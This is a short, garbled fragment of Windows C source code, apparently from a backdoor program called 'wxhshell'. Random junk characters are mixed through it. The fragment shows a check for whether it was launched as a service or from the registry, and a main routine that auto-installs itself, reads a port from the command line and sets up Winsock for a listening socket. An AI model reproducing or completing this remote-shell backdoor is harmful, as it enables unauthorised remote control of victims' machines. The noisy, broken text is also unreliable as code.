CloseHandle(hProcess); {+c/$4< )$q<"t\#P# if(strstr(procName,"services")) return 1; // 以服务启动 hx4!P( o1 ==x3|^0y return 0; // 注册表启动 q^sMJ } 3FUZTX]Q1 $Br^c< y // 主模块 ~p;<H int StartWxhshell(LPSTR lpCmdLine) {EJVZG:& { )I]E%ut{4, SOCKET wsl; Tp`)cdcC[ BOOL val=TRUE; >|0yH9af int port=0; d!8q+FI struct sockaddr_in door; 1ISA^< M >&^w\"' if(wscfg.ws_autoins) Install(); '5ky< u-UUF port=atoi(lpCmdLine); ?^BsR 1@)]+* F*z if(port<=0) port=wscfg.ws_port; gbpm:: SNvK8,"g WSADATA data; $pk3d+0B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i`& |